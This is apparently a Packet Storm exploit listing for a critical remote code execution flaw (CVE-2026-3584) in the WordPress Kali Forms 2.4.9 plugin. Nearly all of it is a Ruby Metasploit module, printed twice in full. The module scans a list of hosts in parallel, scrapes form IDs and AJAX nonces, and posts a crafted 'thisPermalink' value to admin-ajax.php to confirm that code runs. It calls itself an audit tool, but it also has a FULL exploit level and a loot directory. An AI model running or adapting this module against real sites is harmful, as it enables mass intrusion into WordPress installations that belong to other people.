9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
WordPress Kali Forms plugin version 2.4.9 suffers from a remote code execution vulnerability...
Basic Information
ID
PACKETSTORM:219170
Published
Apr 20, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : WordPress Kali Forms 2.4.9 Remote Code Execution Assessment |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://fr.wordpress.org/plugins/kali-forms/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module is designed for security auditing of WordPress sites using the Kali Forms plugin, focusing on detecting potential exposure to a Remote Code Execution (RCE) condition.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
require 'set'
require 'json'
require 'uri'
require 'fileutils'
require 'thread'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Kali Forms - ',
'Description' => %q{
version with MSF compatibility improvements:
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
[Msf::Reference::CVE, '2026-3584']
]
)
)
register_options([
OptInt.new('THREADS', [true, 'Concurrent targets', 10]),
OptPath.new('TARGETS_FILE', [true, 'List of target hosts']),
OptInt.new('TIMEOUT', [true, 'HTTP timeout', 15]),
OptString.new('EXPLOIT_LEVEL', [true, 'SAFE_AUDIT / RCE_ONLY / FULL', 'SAFE_AUDIT'])
])
end
def setup
@lock = Mutex.new
@stats = { scanned: 0, vulnerable: 0, failed: 0 }
@loot_dir = File.join(Msf::Config.loot_directory, "kali_forms_#{Time.now.to_i}")
FileUtils.mkdir_p(@loot_dir)
end
def normalize_target_url(target, path = nil)
return nil if target.nil?
base = target =~ /^https?:\/\// ? target : "http://#{target}"
base = base.chomp('/')
return base if path.nil?
"#{base}/#{path.sub(/^\//, '')}"
end
def update_stats(key)
@lock.synchronize { @stats[key] += 1 }
end
def run
targets = File.readlines(datastore['TARGETS_FILE'])
.map(&:strip)
.reject { |l| l.empty? || l.start_with?('#') }
queue = Queue.new
targets.each { |t| queue << t }
print_status("Starting scan on #{targets.length} targets")
datastore['THREADS'].times.map do
framework.threads.spawn("kali-scanner", false) do
loop do
begin
target = queue.pop(true)
rescue ThreadError
break
end
scan_target(target)
end
end
end.each(&:join)
print_status("Done. Scanned=#{@stats[:scanned]} Vulnerable=#{@stats[:vulnerable]}")
end
def scan_target(target)
update_stats(:scanned)
base = normalize_target_url(target)
return unless base
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_target_url(base, '/'),
'timeout' => datastore['TIMEOUT']
)
unless res&.code == 200
update_stats(:failed)
return
end
if res.body =~ /kaliforms|KaliFormsObject/i
print_good("[+] Potential target: #{target}")
if datastore['EXPLOIT_LEVEL'] == 'SAFE_AUDIT'
return
end
form_ids = res.body.scan(/data-id=["'](\d+)["']/i).flatten.uniq
nonce = res.body[/ajax_nonce["']\s*:\s*["']([a-f0-9]+)["']/i, 1]
return if form_ids.empty? || nonce.nil?
form_ids.each do |fid|
if test_rce(base, fid, nonce)
update_stats(:vulnerable)
print_good("[!!!] Vulnerable: #{target} FormID=#{fid}")
report_vuln(
host: URI.parse(base).host,
name: 'Kali Forms RCE',
refs: [Msf::Reference.new('CVE', '2026-3584')],
info: "Form ID #{fid}"
)
end
end
end
rescue => e
update_stats(:failed)
vprint_error("#{target} => #{e.message}")
end
def test_rce(base, fid, nonce)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_target_url(base, '/wp-admin/admin-ajax.php'),
'vars_post' => {
'action' => 'kaliforms_form_process',
'data[formId]' => fid,
'data[nonce]' => nonce,
'data[thisPermalink]' => 'phpinfo'
},
'timeout' => datastore['TIMEOUT']
)
res&.body&.include?('PHP Version')
rescue
false
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : WordPress Kali Forms 2.4.9 Remote Code Execution Assessment |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://fr.wordpress.org/plugins/kali-forms/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module is designed for security auditing of WordPress sites using the Kali Forms plugin, focusing on detecting potential exposure to a Remote Code Execution (RCE) condition.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
require 'set'
require 'json'
require 'uri'
require 'fileutils'
require 'thread'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Kali Forms - ',
'Description' => %q{
version with MSF compatibility improvements:
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
[Msf::Reference::CVE, '2026-3584']
]
)
)
register_options([
OptInt.new('THREADS', [true, 'Concurrent targets', 10]),
OptPath.new('TARGETS_FILE', [true, 'List of target hosts']),
OptInt.new('TIMEOUT', [true, 'HTTP timeout', 15]),
OptString.new('EXPLOIT_LEVEL', [true, 'SAFE_AUDIT / RCE_ONLY / FULL', 'SAFE_AUDIT'])
])
end
def setup
@lock = Mutex.new
@stats = { scanned: 0, vulnerable: 0, failed: 0 }
@loot_dir = File.join(Msf::Config.loot_directory, "kali_forms_#{Time.now.to_i}")
FileUtils.mkdir_p(@loot_dir)
end
def normalize_target_url(target, path = nil)
return nil if target.nil?
base = target =~ /^https?:\/\// ? target : "http://#{target}"
base = base.chomp('/')
return base if path.nil?
"#{base}/#{path.sub(/^\//, '')}"
end
def update_stats(key)
@lock.synchronize { @stats[key] += 1 }
end
def run
targets = File.readlines(datastore['TARGETS_FILE'])
.map(&:strip)
.reject { |l| l.empty? || l.start_with?('#') }
queue = Queue.new
targets.each { |t| queue << t }
print_status("Starting scan on #{targets.length} targets")
datastore['THREADS'].times.map do
framework.threads.spawn("kali-scanner", false) do
loop do
begin
target = queue.pop(true)
rescue ThreadError
break
end
scan_target(target)
end
end
end.each(&:join)
print_status("Done. Scanned=#{@stats[:scanned]} Vulnerable=#{@stats[:vulnerable]}")
end
def scan_target(target)
update_stats(:scanned)
base = normalize_target_url(target)
return unless base
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_target_url(base, '/'),
'timeout' => datastore['TIMEOUT']
)
unless res&.code == 200
update_stats(:failed)
return
end
if res.body =~ /kaliforms|KaliFormsObject/i
print_good("[+] Potential target: #{target}")
if datastore['EXPLOIT_LEVEL'] == 'SAFE_AUDIT'
return
end
form_ids = res.body.scan(/data-id=["'](\d+)["']/i).flatten.uniq
nonce = res.body[/ajax_nonce["']\s*:\s*["']([a-f0-9]+)["']/i, 1]
return if form_ids.empty? || nonce.nil?
form_ids.each do |fid|
if test_rce(base, fid, nonce)
update_stats(:vulnerable)
print_good("[!!!] Vulnerable: #{target} FormID=#{fid}")
report_vuln(
host: URI.parse(base).host,
name: 'Kali Forms RCE',
refs: [Msf::Reference.new('CVE', '2026-3584')],
info: "Form ID #{fid}"
)
end
end
end
rescue => e
update_stats(:failed)
vprint_error("#{target} => #{e.message}")
end
def test_rce(base, fid, nonce)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_target_url(base, '/wp-admin/admin-ajax.php'),
'vars_post' => {
'action' => 'kaliforms_form_process',
'data[formId]' => fid,
'data[nonce]' => nonce,
'data[thisPermalink]' => 'phpinfo'
},
'timeout' => datastore['TIMEOUT']
)
res&.body&.include?('PHP Version')
rescue
false
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================